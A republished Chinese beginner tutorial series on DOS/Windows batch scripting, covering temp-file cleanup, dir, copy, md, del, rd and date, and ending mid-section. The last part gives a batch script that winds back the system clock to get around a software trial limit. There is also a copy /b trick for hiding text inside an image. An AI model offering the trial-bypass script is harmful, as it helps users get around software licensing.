逍遥2.7.2:DOS批处理快餐店

来源:百度文库 编辑:中财网 时间:2024/05/01 11:58:23

(时至今日,系统早已经全面进入Windows时代,甚至很多刚接触电脑的朋友都已经不知DOS为何物了。不过,即便是在Windows系统中,熟练地掌握各种DOS命令及其批处理的编写仍能帮助我们解决许多在窗口环境下非常棘手的问题。从本期开始为大家带来DOS快餐店,希望大家多多光顾,早日成为DOS“大虾”。)


DOS批处理快餐店(1)


√编写批处理文件清空临时文件
√echo及dir命令的用法
★★★

本期任务:自动清除Windows 2000/XP/2003多用户系统临时文件夹Temp的临时文件
维克托来到小菜家作客,可没想到刚一进门,小菜就近乎“扑”过来地哭诉起来:“我的C盘空间怎么越来越少了,刚才又提示虚拟内存不够了!”维克托笑而不答,坐到了小菜的电脑前,熟练地打开了“我的电脑”,并迅速转换到了小菜的临时文件目录,清空了其中的垃圾文件。一系列的动作看得小菜都花了眼,景仰之情溢于言表。反复几次试验后,小菜学会了清空临时文件。
(几天后)维克托还在睡梦中,就被小菜的电话吵醒了。“又怎么啦?”维克托睡眼腥松地问道。“每回都要那样清空临时文件,太麻烦了啦。”小菜委屈地说。这就是维克托接到的第一个DOS任务,下面让我们来看看他是如何解决的。
任务分析:Windows 2000/XP/2003都属于多用户操作系统,每个用户的临时文件夹(通常位于“C:\Documents and Settings\\Local Settings\Temp”,其中应替换为该用户的用户名)都会积累许多不再使用的临时文件,逐一删除显得非常麻烦,通过批处理能自动执行清空操作。
第一步:打开“记事本”,输入下列内容并保存为ClearTmp.bat,放置在C:\WINDOWS\system32\GroupPolicy\User\Scripts\Logon(推荐放置在此目录,但其他目录也可):
@echo off
cd %Temp%
for /d %%d in (*) do rd /s /q "%%d"
del /f /q *.*
这段脚本的大意是:将当前目录定位到当前登录的用户所对应的临时文件夹,删除其下所有子文件夹和文件。
第二步:单击“开始→运行”,输入“gpedit.msc”(不含引号)回车,打开“组策略编辑器”。
第三步:在左侧的树状分支中选择“用户配置→Windows设置→脚本-(登录/注销)”,双击窗口右侧的“登录”。
第四步:点击“登录属性”窗口中的“添加”按钮,在“添加脚本”窗口点击“浏览”按钮并在文件选择框中选择ClearTmp.bat,点击“打开”,依次点击“确定”直至关闭“组策略”窗口。
现在点击“开始→注销”,注销后重新登录,打开你的Temp文件夹查看一下临时文件是否已经清除干净。
小提示:
★ClearTmp.bat批处理文件不能用于“组策略”的“计算机配置→Windows设置→脚本-(启动/关机)”,因为在触发“启动/关机”事件时所需的系统变量尚未指定(%TEMP%指定当前登录用户的临时文件目录,而此时并无用户登录),系统因无法找到“%Temp%”变量所指定的目录,则删除当前目录下的所有文件(警告:可能导致大量数据被误删除!)。
★不能在命令行方式下简单地使用“rd /s /q %Temp%”命令删除临时文件,否则可能因为某个程序正在使用Temp目录下的文件而导致命令执行失败,甚至与程序产生冲突造成不可预料的错误。
★系统临时文件夹(通常位于C:\WINDOWS\Temp)不能使用“%Temp%”变量来清除临时文件,而应明确指定路径,如:
@echo off
C:
cd Windows\Temp
for /d %%d in (*) do rd /s /q "%%d"
del /f /q *.*
同样保存为ClearTmp.bat放置在C:\WINDOWS\system32\GroupPolicy\Machine\Scripts\Startup目录下,参考上文的步骤在“组策略编辑器”的“计算机配置→Windows设置→脚本-启动”中添加这个脚本文件,电脑在每次启动时自动清除系统临时文件。

本期命令配料:
1.echo命令
(1)功能:打开或关闭命令回显(即命令运行时的显示)/显示信息
(2)语法:echo [{on|off}] [message]
(3)参数: on 打开命令回显。
off 关闭命令回显。
message 指定要显示的文本(例:执行“@echo This a ECHO command.”,显示“This a ECHO command.”)。
(4)特殊用法:“echo”不带任何参数将显示当前回显设置。“echo.”显示一个空行。

你知道吗——@echo off和echo off的区别
@echo off表示执行了这条命令后关闭所有命令(包括本身这条命令)的回显,而echo off命令则表示关闭其他所有命令(不包括本身这条命令)的回显,“@”的作用就是关闭紧跟其后的一条命令的回显。

(5)使用范例:
将下列代码保存为test.bat后放在C:\下,然后点击“开始→运行”,输入CMD回车,在命令行方式下键入“c:\test.bat”(不含引号)。
@echo off
echo.
echo This is the Computer Fans.
echo.
echo We are very like it.
echo.
(插入图1 上面代码的运行结果)

2.cd(chdir)命令
(1)功能:显示当前目录的名称或更改当前目录
(2)语法:cd [[/d] [drive:][path] [..]]
(3)参数:/d 更改当前驱动器或驱动器的当前目录(例:“cd /d f:\mypath”将当前驱动器更改为f:盘,目录更改为mypath)。
[drive:][Path] 指定要改为的驱动器和目录(例:使用命令“cd f:\mypath”将驱动器f:上的当前目录设置为mypath;或者使用命令“cd f:”将当前驱动器设置为f:)。
.. 要从子目录切换到它的上级目录(例:“cd ..”或“cd..”)。
(4)特殊用法:“cd”不带任何参数将显示当前驱动器和目录(目录的名称)。“cd\”更改到根目录。
小提示
★实模式DOS(即“纯DOS”)和Windows 98的MS-DOS命令行不能使用参数“/d”。
★“故障恢复控制台”提示符下不能使用“cd\”命令更改到根目录,必须使用“cd ..”命令(cd与..之间无空格)。
★“故障恢复控制台”命令提示符不能使用“cd..”(cd与..之间有空格)命令。
★当使用“cd f:\mypath”命令执行后并不立即切换当前驱动器(如当前驱动器为e:,执行此命令后当前目录仍为e:),必须接着使用f:命令才能将当前目录切换到f:\mypath,或者使用在命令参数前添加更改的驱动器,例如:
cd f:\mypath
copy f:*.txt d:\
上面的命令将f:\mypath下的所有TXT文件都复制到d:\中了,“f:”与“*.txt”之间没有使用“\”即表示切换至f:的当前目录(即上一句“cd f:\mypath”设置的当前目录)中。
(5)使用范例:
@echo off
cd e:\myfolder
move e:*.* f:\================2步步为营 轻松玩转DIR命令
★★★
√编写批处理制作指定格式文档列表
√dir命令的常规用法
菜鸟命令入门
适宜人群:没有DOS基础的初学者        本期命令:dir
学习目标:学会使用dir命令列出目录和文件
很多菜鸟都会疑惑,在Windows下可以打开“我的电脑”显示目录和文件,但在“黑乎乎”的命令行窗口中,应该怎么查看(列出)目录和文件呢?这就需要使用DOS命令——dir。dir命令就像一个军队里的指挥官,他一声令下,所管辖的士兵就得按照他的要求排列、报数。通过dir命令后的参数,我们可以让这些士兵(文件)按各种方式排列(按文件大小排列、按字母顺序排列等)。
任务1:列出c:\windows下的目录及文件
dir c:\windows
命令讲解:dir命令最基本的使用方法即为“dir 要查看的目录或路径”,但这种方法有明显的缺点——当列表中的目录及文件过多时就无法完全显示,形如刷屏,我们来看看任务2是怎么解决这个问题的。
任务2:分页列出c:\windows下的目录及文件
dir c:\windows /p
命令讲解:在刚才的基本使用方法的基础上,我们在命令最后加上一个参数“/p”(即“page”页的缩写),列文件时就会使用分页显示方式,即列出一屏的目录及文件后,提示“按任意键继续...”,按任意键后则显示下一屏(见图1)。在“我的电脑”中可以通过勾选“文件夹选项”中的“显示隐藏文件”复选框来查看隐藏文件,在命令行方式下应该怎么做呢?
任务3:列出c:\windows下的隐藏文件
dir c:\windows /a:h
命令讲解:在命令的最后加上参数“/a:文件属性”,就能显示出指定属性的文件(隐藏文件的属性为“h”,目录为“d”,系统为“s”,只读为“r”)。但有的时候我们想看看目录下是否有一个特定名称的文件,却被文件列表中密密麻麻的文件名给挑花了眼。怎么才能让文件能够像英文字典似的以字母顺序排列,以便于我们查找文件呢?
任务4:以字母顺序列出c:\windows下的目录及文件
dir c:\windows /o:n
(见图2 按字母顺序排列的结果)
命令讲解:“/o:排序方式”参数指定了dir命令显示命令结果时的排序方式,排序方式设为“n”即代表按照文件名的字母顺序排列(从A~Z,以此类推)。
小提示
★我们也可以指定排序方式为按照文件扩展名的字母顺序(如:dir c:\windows /o:e)来找出特定扩展名的文件,同样的,还可以使用文件大小等方式进行排序。
★“/o”和“/a”可以省略其后的冒号“:”,但之间不能留有空格,如“/o:n”省略后的形式应为“/on”。

中级老鸟做脚本
适宜人群:有一定DOS基础的用户        本期脚本:制作用户指定的任意格式文件列表清单
脚本说明:每个人都有很多个人编辑或收藏的文件,如文本文件、Office文档、图形图像、音频视频文件。久而久之,文件越积越多,查找起来既费时又费力。为便于文件检索,有时需要制作一份文件列表清单。为叙述方便,假设文件保存于目录D:\myfolder,列表清单文件保存为C:\list.txt。如果需要保存在其他目录中,可在代码中用该目录名替换D:\myfolder即可。
(插入图3 要在杂乱无章的文件夹中找东西非常困难)
*以下任务中的代码在Windows 9x/Me/2000/XP/2003下通用
任务1:列出D:\myfolder目录下扩展名为doc的文件清单
第一步:打开“记事本”,输入下列内容并保存为MakeList.bat批处理脚本文件放置在D:\myfolder目录:
@echo off
dir /o:n /b *.doc > c:\list.txt
脚本讲解:关闭命令回显(关于回显命令echo可参考上期的《DOS快餐店》),按名称(字母顺序)输出文件扩展名为doc的文件列表清单,保存到c:\list.txt。
小提示
★dir命令使用参数“/b”则表示只列出文件名。
★重定向符号“>”表示将其左侧的命令的输出结果(如上文即为dir命令列出的文件)写入到其右侧的文件中去。
第二步:打开目录D:\myfolder,双击MakeList.bat文件,运行该批处理脚本文件。
第三步:用“记事本”打开C:\list.txt文件,即可查看D:\myfolder目录下所有Word文档的列表清单。
(插入图4 生成的列表清单)
Just do it
替换批处理脚本文件的“doc”为其他文件扩展名,如“xls”则列出Excel文档。

这段脚本让我们能够很方便地生成目录下的文件清单,可是每次要生成清单前都必须将该脚本文件复制到要生成清单的目录下,这未免有些麻烦。能不能让脚本文件能够像DOS命令那样支持参数呢?
任务2:支持参数的文件清单脚本
特别说明:该脚本的使用方法为“MakeList.bat 要列出的扩展名 进行操作的目录”(例如:MakeList.bat txt c:\windows)。
第一步:打开记事本,输入下列内容,然后保存为“MakeList.bat”批处理脚本文件,可保存于任意文件夹,建议保存于“我的文档”、“C:\”文件夹或其他盘根目录下:
@echo off
if {%2} == {} (set mypath=) else set mypath=%2\
dir /on /b %mypath%*.%1 > c:\list.txt
if errorlevel 1 echo 命令格式:makelist {文件扩展名} [驱动器:][路径] > c:\list.txt
脚本讲解:首先关闭命令回显。如果(即脚本中的“if”)检测第二个参数(%2表示第二个命令参数,即脚本进行操作的目录,为防止目录参数为空字串,须在其两边加上大括号“{}”)是否为空(即在使用命令时没有指定第二个参数,如:MakeList txt),为空则删除上一次设置的mypath环境变量(如果有的话),否则设置mypath环境变量(set命令用于设置环境变量)为参数末端加一反斜杆(即%2\,如%2这个参数的值为“C:\test”,则变为“C:\test\”)。最后按文件名称的字母顺序输出mypath中所含路径下指定扩展名(即由第一个参数%1指定)的文件列表清单文件。如果找不到文件或批处理命令参数错误,则输出提示信息(echo后面的即为错误提示)。
第二步:打开“命令提示符”(Windows 2000/XP/2003)或“MS-DOS方式”(Windows 9x/Me)窗口,将当前驱动器和目录改变到MakeList.bat批处理脚本文件所在目录。
第三步:假设现在要在目录D:\myfolder中列出文本文档(即*.txt)清单,则输入“makelist txt d:\myfolder”命令即可(不含引号)。如果当前工作驱动器和目录已是D:\myfolder,只要输入“makelist txt”命令,效果一样。
现在赶快打开C:\list.txt文件查看列表清单文件,是不是很棒?
小提示
★在命令行状态下执行批处理命令时,不必键入最后的“.bat”扩展名,因为BAT文件的优先级要高于EXE和COM文件(即如果同一目录下有a.bat、a.exe和a.com,在命令行下执行a,则系统会优先调用a.bat文件)。
★输入目录参数时不要加反斜杆,如“C:\test”而不能使用“C:\test\”。
★如目录名中含有空格或长命名,都必须在路径两边加上英文双引号,或者使用8.3规范(格式)。

高级专家来把脉
适宜人群:已掌握各条DOS命令的高级用户        把脉对象:让dir列出带有指定关键字的文件
诊断结果:即使指定了字母排序显示方式,要在dir命令的一大堆结果中找到所需的文件也是非常困难的,如果能让dir命令支持关键字就能解决这个问题了。
治疗方案:利用find命令配合找出dir命令结果中含有指定关键字的文件名。可以使用管道“|”将dir的输出作为其他命令的输入参数。使用通配符(*或?)指定要显示的文件名或目录名(例:“dir *.txt”、“dir ????fan.*”)。下面以找出c:\windows下文件名中带有“win”关键字的exe文件为例解决这个问题。
dir c:\windows\*.exe | find "win"
(插入图5 指定关键字后运行的效果)
命令讲解:使用dir命令列出c:\windows下的所有exe文件,再将这个输出结果通过管道传递给find命令,由其对结果进行二次加工,筛选出含有“win”关键字的那些行(find命令及管道的使用,我们将在今后的DOS快餐店中为大家详细讲解,敬请关注)。
小提示
要了解dir命令的更多参数,可以在命令行窗口中输入“dir/?”(不含引号,替换其中的“dir”可以获得其他命令的用法)即可。 =========================3 今天 你COPY了吗?
★★★
√编写批处理备份文档
√copy和md命令的用法

餐前小点:在图片中隐藏情书
小菜红着脸跑来说:“维克托兄,我想给MM发送情书,又怕被别的MM偷看到,你教我个法子,情书如何不让别的MM看到?”维克托想了想说:“本店正好备有DOS餐前小点,你不妨先尝一尝吧……”
烹饪方法:随便找一个图片文件,本文采用C:\Pictures\s.jpg,情书 假设为D:\Documents\b.txt(格式不限),在命令行方式窗口输入命令:
copy /b C:\Pictures\s.jpg+D:\Documents\b.txt C:\Pictures\h.jpg
这样就得到了隐藏着情书的合并文件c:\picture\h.jpg。h.jpg文件大小正好等于s.jpg和b.txt的总大小。打开h.jpg,根本无法看出和s.jpg有什么不同。可以使用UltraEdit32等十六进制编辑器打开合并后的文件,就能查看隐藏在图片文件尾部的情书了。
小提示
文件合并时使用参数/b,要隐藏的文件必须放在“+”右侧。

本期配料:copy/md        适宜人群:没有DOS基础的初学者
学习目标:学会使用copy命令复制文件/使用md命令创建目录
1.copy命令
copy命令就像一台复印机,将一个或多个文件按原样复制并保存到指定位置(目录)。另外,你还可以直接将输入设备(如:键盘)的输入复制到指定的文件。

目标1:将c:\test.txt文件复制到d:\目录下
copy c:\test.txt d:\
命令格式:copy 要复制的源文件(包括路径和文件名) 文件复制的目标路径[\文件名]
命令讲解:现在先从copy命令最简单的用法开始,将单个文件从一个目录按原样(包括文件名)复制到另一个目录,如果此操作成功,命令行窗口中会提示“已复制 1个文件”。在很多情况下,我们要为复制的文件副本赋予一个新的文件名,比如将c:\test.txt文件复制到d:\目录下并重命名为test2.txt:
copy c:\test.txt d:\test2.txt
问题随之出现了,如果要同时复制一个目录中的指定的一组或所有文件,总不能复制一个文件就执行一次copy命令吧?我们的第2个目标就是批量复制目录中的文件。

目标2:将c:\movies目录中所有文件复制到d:\backup目录中
copy c:\movies d:\backup
命令格式:copy 要复制的源目录[\*.指定文件扩展名] 要复制到的目标目录 [/y]
命令讲解:要复制整个目录的文件,则copy命令只要使用不包含文件名的源目录和目标目录。有时只想复制一个目录中指定文件扩展名的一组文件,比如将c:\movies目录中的RM文件复制到d:\backup目录中:
copy c:\movies\*.rm d:\backup
在源目录后加上“*.rm”,就是指复制这个目录下的所有扩展名为RM的文件。当目标目录中已经存在了和源目录中即将复制的文件相同文件名的文件时,就会出现如“改写x:\xx吗?(Yes/No/All):”这样的提示,让你选择是覆盖、不覆盖还是全部覆盖时,又如何能不出现提示而直接全部覆盖呢?那就要用到可选参数/y(复制单个文件或批量复制时皆可使用),比如在目标2的基础上实现重名文件无须确认直接覆盖:
copy c:\movies\*.rm d:\backup /y
大家有没有听说过“文件合并器”?刚才的“小菜一碟”就初步介绍利用copy命令的合并功能,在目标3中我们将为你详细讲解。
小提示
“*”称为“通配符”,如*.rm就代表所有扩展名为RM的文件,而a.*则代表所有文件主名为a而扩展名不限的文件,*.*就代表所有文件。“?”也是通配符的一种,但它只能代表一个字符,比如?.rm只能代表文件主名仅有一个字符的扩展名为RM的文件(如a.rm、b.rm等),可以通过将“?”夹带在字符中间起到模糊逻辑的作用,比如a1.rm和a2.rm可以用a*.rm来代表。

目标3:将文本文件1.txt和2.txt合并为3.txt
copy /b c:\1.txt+c:\2.txt c:\3.txt
命令格式:copy /b 文件1+文件2+……文件N 合并后的文件名
命令讲解:使用“+”号将多个相同或不同格式的文件合并为一个文件,在第二个参数中指定合并后的文件名。利用copy命令的这个功能,你可以在文件中隐藏你的隐私内容。

小提示
★在尾部隐藏了文本数据的图片文件,在使用其他软件进行编辑并保存后,隐藏的文本数据有可能会丢失。
★MP3文件在使用此方法连接后,就能实现连续播放。
★合并图片/歌曲这样的二进制文件必须使用/b参数(b代表Binary,二进制),否则合并将会失败;另一个合并参数是/a(a代表ASCII,文本文件),只能用于纯文本的合并。两参数不能同时使用,二进制方式可以合并文本和二进制文件,而文本方式则只能合并文本。
★当进行软盘复制时,可在命令中加入“/v”参数,例如:copy /v /b 1.txt+2.txt 3.txt,这样可以减少因操作介质(如:软盘)的问题而导致的数据写入失败。

2.md命令
我们的硬盘就像一个大仓库,各种文件分门别类地存放在其中,其中有用的(比如应用程序文件),也有看的(比如电影文件),要把他们分类存放,我们就必须创建相应的小仓库(子目录)。md命令就像一支工程队,只要给他施工图(命令参数),他就能为你建造用以存储各种物品(文件)的仓库(目录)。

目标1:在c:\下创建test目录
md c:\test
命令格式:md 要创建的目录
命令讲解:如果省略全路径而直接给出目录名,则在当前目录下创建新目录。当我们需要新建多级目录时,比如在c:\下新建test\cfan目录,结合本刊今年第4期中《DOS快餐店(一)》中介绍的CD命令,我们通常会这样做(假设当前目录为c:\):
md test
cd test
md cfan
这样的命令在目录层次较多的时候显得极为繁琐。其实,在Windows XP/2003中,md命令支持一次创建多级目录。

目标2:只用一条命令完成在c:\下创建test\cfan目录
md c:\test\cfan
命令格式:md [路径\]目录1\目录2\目录3\…
命令讲解:只需将要创建的目录以级联的方式作为md命令的参数,md就能直接创建多级目录。创建多级目录相对还算简单,可要是我们同时需要创建多个目录呢?在Windows XP/2003中,md命令支持一次创建多个目录。

目标3:在当前工作目录下同时创建a、b、c子目录:
md a b c
命令格式:md [路径\]目录1 [路径\]目录2 [路径\]目录3……
命令讲解:md命令后要创建的目录个数是不定的,每增加一个目录名都会多创建一个对应的目录。如果在当前工作目录创建子目录,则可省略路径而只给出需创建的目录名。如果在其他目录创建子目录(可以在多个不同的目录下创建),则需给出全路径,如:md c:\a d:\b e:\c。
小提示
★同时创建多级目录和多个目录只适用于Windows XP/2003。
★可以将用法2和用法3混合使用,如:md c:\a\b\c d:\a\b\c。

小菜一碟:备份用户指定的任意格式的文档
适宜人群:有一定DOS基础的用户
菜谱说明:很多办公一族为了满足办公室与家中电脑的数据共享,都会采用些移动存储设备(如:移动硬盘、优盘等)。移动存储设备的可靠性一直不尽如人意,所以经常备份其中的数据是十分必要的。我们在备份时是选择繁琐的手工方式,还是会选择方便的一键备份?学习了上面的配料用法,就让我们动手试做一道小菜吧。
脚本任务:备份C:\myfolder目录下扩展名为DOC的Word文档到D:\myfolder\word目录
特别说明:“c:\myfolder”及“d:myfolder\word”分别为备份源目录和目标目录,可根据自己的实际备份需要进行修改。
第一步:打开“记事本”,将下列内容保存为Backup.bat并放置在任意目录:
@echo off
if not exist d:\myfolder\nul md d:\myfolder
if not exist d:\myfolder\word\nul md d:\myfolder\word
cd c:\myfolder
cd d:\myfolder\word
copy /v /y c:*.doc d:
脚本讲解:关闭命令回显,检测是否存在目标目录,如果不存在则创建(由于Windows 98中的if语句无法检测目录是否存在,但支持空设备的检测,所以在“d:\myfolder”后加上“nul”空设备名,以保证脚本在Windows 98下也能正常运行),改变源驱动器的当前目录为源目录c:\myfolder,改变目标驱动器的当前目录为目标目录d:\myfolder\word,复制源目录中文件扩展名为DOC的文档到目标目录。

火速链接:关于回显命令echo和改变当前目录命令cd可参考本刊今年第4期的《DOS快餐店(一)》。

第二步:在桌面上创建这个批处理文件的快捷方式,并为其设置一个快捷键,即可实现一键备份。

美味大菜:支持参数的备份各种格式文档
适宜人群:有更好DOS基础的用户
菜谱说明:上面这道小菜让我们能很方便地备份文件扩展名为doc的Word文档,可是每次要备份其他文件扩展名的文档前都必须替换脚本文件中的文件扩展名和目标目录,下面我们要做一道支持参数备份的美味大菜。
脚本任务:备份任意目录下任意扩展名的文档到指定的目录
特别说明:该脚本的使用方法为“Backup 要备份的扩展名 备份目标目录”(例如:makelist txt d:\myfolder\text)。
第一步:打开“记事本”,输入下列内容并保存为Backup.bat:
@echo off
if {%2} == {} (set mypath2=) else set mypath2=%2
set mypath1=c:\myfolder
copy /v /y %mypath1%\*.%1 %mypath2%
if errorlevel 1 echo 命令格式:backup 文件扩展名 [目标目录]
if errorlevel 1 pause
脚本说明:这段代码中的逻辑部分请参考上期的《DOS快餐店(二)》。
第二步:打开“命令行提示符”窗口,用CD命令将当前驱动器和目录改变到Backup.bat批处理脚本文件所在目录。
第三步:假设现在要备份目录C:\myfolder中Word文档(即*.DOC)到D:\myfolder\word目录,则输入“backup doc d:\myfolder\word”命令即可(不含引号)。如果当前工作驱动器和目录已是D:\myfolder\word,只要输入“backup txt”命令,具有相同效果。

餐后小点:让copy一次备份多个文件扩展名的文档
适宜人群:已掌握各条DOS命令的用户
菜谱说明:一次备份一种类型的文件有些不便,如何同时进行多类型文件的备份呢?
脚本任务:将TXT、DOC、XLS、JPG、GIF、MP3扩展名的文件分别备份至目标目录中以相应扩展名命名的目录中 (也可添加其他扩展名)。
将下列代码保存为Backup.bat并放置在任意目录,双击Backup.bat文件就可以执行批处理命令备份文档了。
@echo off
cd c:\myfolder
cd d:\myfolder
for %%d in (txt doc xls jpg gif mp3) do if not exist d:%%d\nul md d:%%d
for %%f in (txt doc xls jpg gif mp3) do copy /v /y c:*.%%f d:%%f
脚本讲解:首先使用for循环语句检测d:当前目录(即刚才用“cd d:\myfolder”设置的d:的当前目录)下是否存在指定扩展名作为目录名的子目录,如果不存在则创建之。然后再次使用for循环让“copy /v /y c:*.%%f d:%%f”根据前面括号中的内容(txt doc……)分别执行一遍,每次执行时语句中的“%%f”都将替换为括号中的扩展名(第一次执行时%%f为“txt”,第二次执行时则为“doc”,直到全部执行完)。按文件扩展名作为子目录名分别备份文档(for命令的使用,我们将在今后的DOS快餐店中为大家详细讲解,敬请关注)。

小提示
★在上文代码的for循环语句的括号内的扩展名可根据实际备份需要自由修改,源目录和目标目录相同。
★要了解copy命令的更多参数,可以在命令行窗口中输入“copy /?” 即可(不含引号,替换其中的“copy”可以获得其他命令的用法)。

DIY你的DOS菜
请按下列要求自己动手写出所需的命令,答案将在下期公布:
1.在D:\下新建名为“cfan”的目录,然后在其下新建名为“info”的子目录。
2.试试如何将第1题的两条命令合并为一条。
3.将D:\cfan下所有扩展名为TXT文件复制到D:\cs下。
=====================4磁盘清道夫——Del和Rd的故事
■掌柜的
★★★
√del和rd命令的使用
√利用脚本清空临时文件夹
经过连续三期的DOS大餐轮番上阵,相信各位客官已经有些饱了,那就由掌柜的我来给大家讲个故事解解闷吧:del和rd(在Windows 98中曾经叫“deltree”)是一对兄弟,共同生活在DOS小镇里。他们每天的工作很简单——拆除小镇里违章搭建或废弃的小区(目录),并将小区内的建筑(目录中的文件)也逐一拆除(删除)。
有一天镇长交给他们一个任务:在小镇一个隐蔽的角落里,有人在“c:\windows”小区里非法建造了一座叫“Trojan.exe”(木马)的建筑,并且已经有一些游民入住其中,所以无法将其拆除,两兄弟要做的就是在确保无人在建筑内的情况下将其拆除。
任务说明:Windows经常会受到一些恶意程序侵害,比如木马程序就会侵入系统,偷走我们的账号和资料。可是当发现木马文件时,往往因为其正在运行而无法查杀,杀毒软件也爱莫能助。所以必须将系统启动到“MS-DOS方式”(Windows 9x)或者“故障恢复控制台”(Windows 2000/XP)下,然后在命令行下删除木马文件。
del c:\windows\trojan.exe

小提示
当面对系统中的顽固文件无法删除时,也可参考上文,启动到“故障恢复控制台”后用del命令将其删除。

本期配料:del/rd        适宜人群:没有DOS基础的初学者
del是如何完成文件删除工作的呢?让我们来回顾一下刚才的杀木马过程中del命令的基本使用。
目标1:删除c:\windows\trajon.exe
del c:\windows\trajon.exe
命令格式:del 要删除的文件路径(如要删除的文件在当前目录下,则无需输入完整路径而只需给出文件名)
命令讲解:del后直接加上要删除的文件的详细路径,就能删除该文件,如果要删除的文件在当前驱动器的当前目录下,则可省略详细路径而直接用“del 文件名”的方式删除文件。

镇长显然对del的工作效率不太满意:“你拆除建筑的速度也太慢了,能不能同时几幢一起拆?”和上一期中我们介绍的copy命令一样,del命令支持使用通配符的批量删除。
目标2:删除d:\movies目录下所有扩展名为RM的文件
del d:\movies\*.rm
(见图1 在进行批量删除时出现确认提示)
命令格式:del 要进行批量删除的文件目录\*.扩展名
命令讲解:通配符的使用说明可以参考上一期中本栏目的相关内容。我们还可以通过“del d:\movies\a.*”和“del d:\movies\*.*”来删除d:\movie目录下所有文件主名为a但扩展名不限的文件或者所有文件。

del在听取镇长意见改进了拆楼速度后,却发现拆错了几幢楼,这回又得挨骂了。有什么方法可以在删除文件时再进行一次确认,以防止误操作带来的数据丢失?
目标3:删除d:\games\*.*,每个文件在被删除时都需要确认
del /p d:\games\*.*
命令格式:del /p 要进行批量删除的目录及文件名
命令讲解:在使用了这个参数后,当文件在删除前便会提示“文件名,要删除(Y/N)吗?”

拆除工作仍在紧张地进行当中,可是del却发现接着要拆除的建筑上分别贴着“只读”、“系统”、“隐藏”的标签(见图2),这样的建筑是否能拆呢?使用del命令删除普通文件时可以不加任何附加参数,但是如果要删除的文件含有以上三种属性之一或同时具备这几种属性,那么在删除时就必须使用其他参数。
目标4:删除c:\windows\sys.dll,假设该文件属性为“系统”、“只读”
del c:\windows\sys.dll /ars
命令格式:del 文件名(如果不在当前目录则给出完整路径,下文中的例子中皆为此形式) /a[r][s][h][a]
命令讲解:/a表示指定要删除的文件的属性(“a”即“attributes”,意为“属性”)。在/a后指定具体的文件属性,可选的有r(只读)、s(系统)、h(隐藏)、a(存档)。
小提示
★当只需删除只读文件时,也可以用另一种参数/f,如删除c:\windows下的只读文件game.log,则可用命令“del c:\windows\game.log /f”(不含引号)。
★在/a参数后的属性中,我们可以使用“-”作为“否”的前缀,如“del d:\movies\*.* /a-s”即表示删除d:\movies目录下的所有非系统属性的文件。

有一个连锁超市倒闭了,小区里有好几家这种超市,del奉命拆除这些超市废弃的房屋来支持绿化建设,如果能一下子拆除小区中所有这种超市的房屋该有多方便,同样在Windows中我们经常需要删除一个目录下所有指定文件名的文件(包括子目录中),这时应该试试/s。
目标5:删除c:\windows\web目录下所有扩展名为HTT的文件
del c:\windows\web\*.htt /s
命令格式:del 文件名 /s
命令讲解:使用/s参数后,del命令就会在指定目录(如未指定则在当前目录)及其子目录中搜索所有指定文件名的文件并删除。

小提示
★此法配合注册表的修改可用于清除“欢乐时光”病毒,但需要加上参数/arsh。

当在拆除一个小区中所有建筑时,都得到镇长那儿打一下报告(要谨慎嘛),十分麻烦。在使用如“del d:\*.*”之类的目录中所有文件删除命令时,都会提示“是否确认(Y/N)?”。
目标6:删除d:\movies\*.*,并且无须确认
del d:\movies\*.* /q
命令格式:del 文件名 /q
命令讲解:/q称为“安静模式”,即在删除整目录文件时不进行提示。在使用此参数时要小心,因为如果误打了命令,我们连最后一个挽回的机会都没有了(见图3)。

和del的工作比起来,rd的工作显然轻松地多。在del将小区内的所有建筑拆除之后,rd负责拆除小区的外墙。
目标7:删除d:\movies目录
rd d:\movies
命令格式:rd 目录名(如果该目录在当前目录下,则无需输入完整路径,下文中的例子皆为此形式)
命令讲解:rd仅指定要删除的目录,而不加任何参数仅能删除空目录(即目录中无任何文件)。如果目录中有文件,则会提示错误(见图4)。

镇长对rd近乎偷懒的工作态度再也无法容忍了:“你弟弟del这么辛苦,为什么你在拆除小区的时候不能帮着拆除建筑呢?”
目录8:删除d:\movies目录及其下的文件、子目录
rd d:\movies /s
命令格式:rd 目录名
命令讲解:在使用此参数时,系统也会提示确认以防误删除。同样地,rd也支持/q参数的“安静模式”,如“rd d:\movies /s/q”。/s和/q参数同样也仅在Windows 2000/XP/2003中才被支持。

本期脚本套餐:删除系统临时文件        适宜人群:初/中级用户
针对Windows 2000/XP/2003的版本:
@echo off
del %temp%\*.* /s/q
针对Windows 9x的版本:
@echo off
deltree /y %temp%
md %temp%
脚本讲解:在Windows 2000/XP/2003中,系统变量“%temp%”代表“Documents and Settings”目录下当前用户的临时文件存储目录(见图5);而在Windows 9x中,该系统变量则表示Windows目录下的Temp目录。由于Windows 9x不支持rd命令,所以就必须使用deltree命令删除整个临时文件目录及其下所有文件,然后再用md命令重建该目录。

小提示
将删除临时文件的脚本放在启动组中,即可实现每次启动都清空临时文件的功能。

DIY你的DOS菜
上期答案:
1.在D:\下新建名为“cfan”的目录,然后在其下新建名为“info”的子目录。
md d:\cfan
md d:\cfan\info
2.试试如何将第1题的两条命令合并为一条。
md d:\cfan\info
3.将D:\cfan下所有扩展名为TXT文件复制到D:\cs下。
copy d:\cfan\*.txt d:\cs
本期习题(答案下期公布):
1.删除d:\test目录下所有的隐藏文件,要求删除每个文件时都提示确认。
2.删除d:\test目录,包括其下所有的子目录及文件。
3.在第2题的基础上,采用“安静模式”。=====================5和时间做游戏

★★
√date和time命令的使用
√利用脚本突破软件试用时间限制
忙碌了一天,掌柜的望着窗外渐渐西下的夕阳,神色凝重地对身边的伙计嘟哝着:“哎……又一天过去了,还有两天ABC软件(该软件的主程序路径为“d:\abc.exe”)的试用期就结束了。”伙计看了看日历后说:“这有何难?不就是时间限制嘛,看我的。”(当天日期:2005年3月15日 软件最后使用期限:2005年3月17日)。
注意:Windows 98中date/time命令的使用和Windows 2000/XP/2003中并不完全一致,本文中的命令以Windows XP中为例。
@echo off
date 2005-03-15
d:\abc.exe
随手写了几行代码并保存为abc_crk.bat,将桌面上ABC软件快捷方式指向了这个批处理文件。这样当通过批处理运行这个软件时,就会在运行前先将系统时间设置为未过期的时间,这样就变相地绕过了软件的试用期限。
注意:此方法仅用于帮助希望能进一步试用软件的用户延长试用期,请勿用于非法用途!

本期配料:date/time 适宜人群:没有DOS基础的初学者
首先当然先带大家来“尝尝”date命令,如果仅仅输入“date”,会出现什么情况呢?
此时会首先显示出当前的系统日期,格式为“当前日期:YYYY-MM-DD 星期X”,然后提示“输入新日期:<年 月 日>”(见图1)。我们可以在提示输入新日期处输入形如“2005-03-15”的日期数据来改变当前系统日期。

小提示
